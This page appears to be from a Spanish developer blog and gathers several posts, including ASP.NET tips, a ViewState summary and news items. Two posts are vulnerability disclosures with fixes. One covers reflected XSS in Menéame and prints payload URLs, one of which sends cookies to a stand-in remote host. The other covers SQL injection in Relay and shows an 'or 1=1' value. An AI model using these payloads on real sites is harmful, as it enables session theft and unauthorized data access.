Off Topic: Tiempos difíciles

Generalmente no me gusta hablar de estas cosas y mucho menos por este medio, pero a veces llega un momento en que todos los problemas se vienen juntos, sin darte la posibilidad de reaccionar y tomar las decisiones adecuadas, esos momentos en que problemas simples parecen imposibles de resolver...

Comentaré las cosas que han estado rondando por mi cabeza estos días en relación al blog; en primer lugar no me agrada el hecho de que ya no tenga la motivación ni el tiempo de antes para seguir publicando posts de manera regular, no me agrada que los integrantes de este blog prometamos algo para luego no cumplir, pero principalmente no me agrada la idea de estar aburriendolos con posts relacionados mayormente a .NET :D y muchos otros con contenido vacío -como éste. Por otro lado, desde aquel fatídico día en el que el servidor -donde se alojaba inicialmente este sitio- fue comprometido, hemos tenido la mala suerte al ir pasando de un hosting malo a otro peor; ustedes dirán, cambien de empresa y problema acabado, pero lamentablemente no tenemos los recursos para hacerlo --basta con decirles que nuestra cuenta de adsense apenas llega a los $100 anuales :), esperamos que para setiembre nos llegue el cheque de Google y con suerte talvez nos mudemos a otro lado; dicho esto, no les pido que hagan clicks en el adsense, aunque si desean hacerlo, háganlo nomás :P

Espero que estos problemas se solucionen algún día, para devolver de algún modo la ayuda que he recibido, recibo y recibiré de la comunidad. Hasta la próxima, mientras me recupero de esta crisis existencial...

Nota: Si alguien desea colaborar con la redacción de artículos en este sitio, manden un mensaje a braulio[at]buayacorp[dot]com, si no obtienen respuesta escriban a alex[at]buayacorp[dot]com

¿Menéame, vulnerable a ataques XSS?

La lectura del libro Writing Secure Code, últimamente me ha motivado a revisar código de distintas aplicaciones en busca de algunas fallas. Es así que mientras miraba el código fuente de menéame (a.k.a. clon de Digg), ví -valga la redundacia- que éste era suceptible a ataques XSS, posiblemente en los siguientes archivos:

  • www\blogscloud.php
  • www\cloud.php
  • www\comments_rss2.php ¿?
  • www\rss2.php ¿?
  • www\topstories.php
  • www\topusers-big.php
  • www\topusers.php
  • www\libs\html1.php ¿?
  • www\backend\comment_edit.php ¿?

Actualización: El error ha sido solucionado minutos después de haber publicado el bug en http://meneame.wikispaces.com/Bugs, es por eso que me gusta el software libre!.

El error -un viejo conocido de otras aplicaciones- consiste en que no se valida de manera correcta el uso de la variable predefinida PHP_SELF, así por ejemplo en la línea 80 de cloud.php tenemos algo como esto:

php:
echo '<li><a href="'.$_SERVER['PHP_SELF'].'?range='.$i.'">' .$range_names[$i]. '</a></li>'."\n";

A simple vista pareciera que la línea no contiene ningún error, pero el pequeño detalle es que el contenido de PHP_SELF puede ser modificado por el usuario.

'PHP_SELF'

El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://example.com/test.php/foo.bar sería /test.php/foo.bar. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Si PHP está siendo ejecutado como un procesador de línea de comandos, esta variable contiene el nombre del script a partir de PHP 4.3.0. Anteriormente no estaba disponible.

Fuente: Variables Predefinidas

Ejemplos

Si armamos la siguiente URL, al cargar la página debería aparecer un mensaje mostrando las cookies relacionadas al sitio:

html:
<!-- URL -->
http://meneame.net/cloud.php/"><script>alert(document.cookie)</script><foo"

<!-- El código HTML enviado al cliente -->

<li><a href="/cloud.php/"><script>alert(document.cookie)</script><foo"?range=1">última semana</a></li>

Si esta vez se arma una URL como la siguiente, entonces lo que puede pasar es que las cookies sean enviadas a un servidor remoto, probablemente para fines no muy éticos.

html:
http://meneame.net/cloud.php/"><script>document.location='http://www.servidor-remoto.net?cookies='+document.cookie</script><foo"

Solución

Usar otra variable predefinida (¿REQUEST_URI?), la función htmlentities para escapar el contenido de PHP_SELF o borrar los caracteres peligrosos de éste.

Actualización: Según la documentación, SCRIPT_NAME debe usarse para referenciar a una misma página.

SCRIPT_NAME

Contiene la ruta del script actual. Ésta es útil para páginas que necesitan apuntar a ellas mismas. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Fuente: Variables Predefinidas

Notas finales

Debemos tener cuidado en validar correctamente los datos que son enviados y/o aquellos que son modificables por el usuario.

Cabe aclarar que ésta entrada no es ninguna represalia por el hecho que tildaron de spammer -con justa razón- a mi amigo Braulio en uno de sus envíos a Menéame. :-D

Links recomendados

Tip: Como acelerar la carga de las páginas de MSDN2 (documentación)

Todos aquellos que se hayan dado una vuelta por la nueva documentación en línea de MSDN, se habrán dado cuenta que demora una eternidad en cargar, al menos para los que tienen una conexión lenta -como es mi caso.

El truco para que cargue rápidamente, es que tu navegador se identifique como si fuera uno de bajo nivel, al hacer esto, sólo se visualiza una página bien sencilla conteniendo la documentación de la sección a la que se accede. (ver la entrada Problemas validando el código que genera ASP.NET? para una breve explicación de este comportamiento).

Personalmente utilizo Firefox, que con ayuda de la extensión User Agent Switcher, hago pasar a mi navegador como el bot de Google.

Google Bot User Agent

Espero que esto les ahorre un poco de ancho de banda :-D.

ViewState

Dave Reed explica en un extenso artículo, los errores que normalmente se cometen al hacer uso del ViewState, las consecuencias de estos errores y las posibles soluciones para éstas.

MISUNDERSTANDING OF VIEWSTATE WILL LEAD TO...

  • Leaking sensitive data
  • ViewState Attacks - aka the Jedi Mind Trick -- *waves hand* that plasma tv is for sale for $1.00
  • Poor performance - even to the point of NO PERFORMANCE
  • Poor scalability - how many users can you handle if each is posting 50k of data every request?
  • Overall poor design
  • Headache, nausea, dizziness, and irreversible frilling of the eyebrows.

WHAT DOES VIEWSTATE DO?

  • Stores values per control by key name, like a Hashtable
  • Tracks changes to a ViewState value's initial state
  • Serializes and Deserializes saved data into a hidden form field on the client
  • Automatically restores ViewState data on postbacks
WHAT DOESN'T VIEWSTATE DO?
  • Automatically retain state of class variables (private, protected, or public)
  • Remember any state information across page loads (only postbacks) (that is unless you customize how the data is persisted)
  • Remove the need to repopulate data on every request
  • ViewState is not responsible for the population of values that are posted such as by TextBox controls (although it does play an important role)
  • Make you coffee

Sin duda una excelente referencia para los que desarrollan aplicaciones con ASP.NET.

Problemas validando el código que genera ASP.NET?

Cuando se procesa una página, ASP.NET examina la información de la solicitud sobre el explorador actual y basándose en el tipo de explorador (cadena de agente de usuario), representa el marcado que es apropiado para dicho explorador.

En versiones anteriores a ASP.NET 2.0, el código HTML generado por defecto era HTML 3.2, ya que se consideraba a Internet Explorer como el único "navegador moderno" (irónico no? :-P), según este artículo de MSDN Magazine, en ASP.NET 1.x las características del navegador se toman de %windir%\System32\inetsrv\browscap.ini (se dá mayor importancia a IE, aunque existen definiciones de versiones muy antiguas de otros navegadores) y de la sección browserCaps del Web.config, para finalmente crear una instancia de la clase HttpBrowserCapabilities, accesible desde el request actual.

Felizmente, en ASP.NET 2, muchas cosas se han corregido en este aspecto, ya que por defecto se incluyen una serie de archivos xml con extensión .browser, donde se especifica el nivel de compatibilidad de distintos navegadores (pueden revisar %windir\Microsoft.NET\Framework\v2.0.50727\Config\Browsers). Por otro lado, también ofrece la posibilidad de modificar la salida de cualquier control (pueden ver un demo en http://asp.net/CSSAdapters/Default.aspx).

Con la breve introducción expuesta, el motivo de la entrada es para comentar que si quieren validar sus páginas hechas en ASP.NET 2, necesitan especificarlo en un archivo, de modo que el navegador del validador sea tratado como uno moderno.

Si envía una página Web ASP.NET a un servicio de validación como, por ejemplo, W3C Markup Validation Service, ASP.NET podría representar una versión de la página que no sea compatible con los estándares de XHTML. Esto es porque el servicio de validación no se presenta como un tipo de explorador que ASP.NET reconozca como, por ejemplo, Internet Explorer o Mozilla. Cuando ASP.NET no puede reconocer el tipo de explorador, toma como valor predeterminado la representación de marcado a bajo nivel, la cual no incluye elementos y atributos compatibles con XHTML, o características como estilos de hojas de estilo en cascada.

Esto es lo que se tiene que incluir en el directorio especial App_Browsers de una aplicación web:

xml:
<browsers>
  <browser id="W3C_Validator" parentID="default">

    <identification>
        <userAgent match="^W3C_Validator" />
    </identification>
    <capabilities>
      <capability name="browser"              value="W3C Validator" />

      <capability name="ecmaScriptVersion"    value="1.2" />
      <capability name="javascript"           value="true" />

      <capability name="supportsCss"          value="true" />
      <capability name="tables"               value="true" />

      <capability name="tagWriter"
         value="System.Web.UI.HtmlTextWriter" />

      <capability name="w3cdomversion"        value="1.0" />

    </capabilities>
  </browser>
</browsers>

Como se menciona en la documentación, aunque ASP.NET genere un marcado compatible con XHTML, algunos controles admiten una funcionalidad opcional que, si se utiliza, podría generar un marcado no compatible.

Espero que esta entrada sirva para los desarrolladores interesados en hacer que sus sitios intenten cumplir con los estándares definidos por la W3C

Recursos de fin de semana (III)

Más recursos para este fin de semana largo, y de paso deseando Felices Fiestas Patrias a mis paisanos peruanos:

Buen fin de semana ;)

IE7 será distribuido mediante actualizaciones automáticas

Los desarrolladores de Internet Explorer, acaban de anunciar que la nueva versión de éste navegador será distribuida mediante actualizaciones automáticas como una actualización de máxima seguridad.

Mirándolo desde el lado malo, para todos los desarrolladores será difícil "testear" sus aplicaciones en otros navegadores antiguos (léase IE6), ya que todo será desarrolado basándose en IE7.

Otro problemita sería para los usuarios que usan Windows "Bamba" (aproximádamente el 90%) no podrán instalar esta actualización.

La actualización está planeada para fines de este año, pero veremos que sucede en estos días.

Hot Capcha: el único captcha a prueba de bots

Ningún CAPTCHA es realmente efectivo, siempre tienen alguna vulnerabilidad que permite a los spammers "romper" el código que se muestra.

Para esto ha salido el ¿único? e infalible Hot Captcha, en el que para identificarnos como humanos sólo nos hace una sencilla pregunta:

"In order to prove to us you are not a robot, select the three hot people"

A ver si tienen suerte y les reconocen como seres humanos.

Enlace: Hot Capcha.

Problema de seguridad en Relay

Hoy, mientras intentaba personalizar Relay -que es un gestor de archivos basado en Ajax- para hacer que funcione como un navegador de código fuente, encontré un bug en la función getFileInfo (relay.php) que permite hacer SQL Injection.

La porción donde se encuentra la falla es: (~ línea 763)

php:
$fileid=mysql_escape_string($fileid);
$query = "select * fr0m $GLOBALS[tablePrefix]filesystem where id=$fileid";

El problema radica en que mysql_escape_string o mysql_real_escape_string sólo escapan los caracteres \x00, \n, \r, \, ', " y \x1a.; por tanto, si $fileid tendría el valor 0 or 1=1 u otra sentencia que no incluya los caracteres mencionados, ya se imaginarán que puede pasar.

Una propuesta para solucionar este problema es hacer un cast explícito de $fileid o encerrar entre comillas el valor de este parámetro en la consulta SQL (digo esto porque se hace uso de mysql_escape_string)

php:
$fileid=intval($fileid);
$query = "select * fr0m $GLOBALS[tablePrefix]filesystem where id=$fileid";

// o   
$fileid=mysql_real_escape_string($fileid);
$query = "select * fr0m $GLOBALS[tablePrefix]filesystem where id='$fileid'";

Si están utilizando Relay, es recomendable que corrijan este error, para evitar molestias por pérdida de datos :-P.

Controles Personalizados en ASP.NET – Parte 2

En la entrada anterior, vimos como extender el control TextBox (del .NET Framework) para restringir la entrada a sólo ciertos caracteres definidos en una expresión regular. Pues bien, en esta ocasión vamos a crear un control que ayudará a medir la popularidad de algún artículo o comentario.

Para la apariencia del control, tomé como base "CSS Star Rating", el cuál incluye una hoja de estilos y una imagen. Como ya había comentado en la entrada anterior, para hacer uso de estos elementos es necesario registrarlos y compilarlos, a continuación se muestra la forma de hacerlo:

Continue reading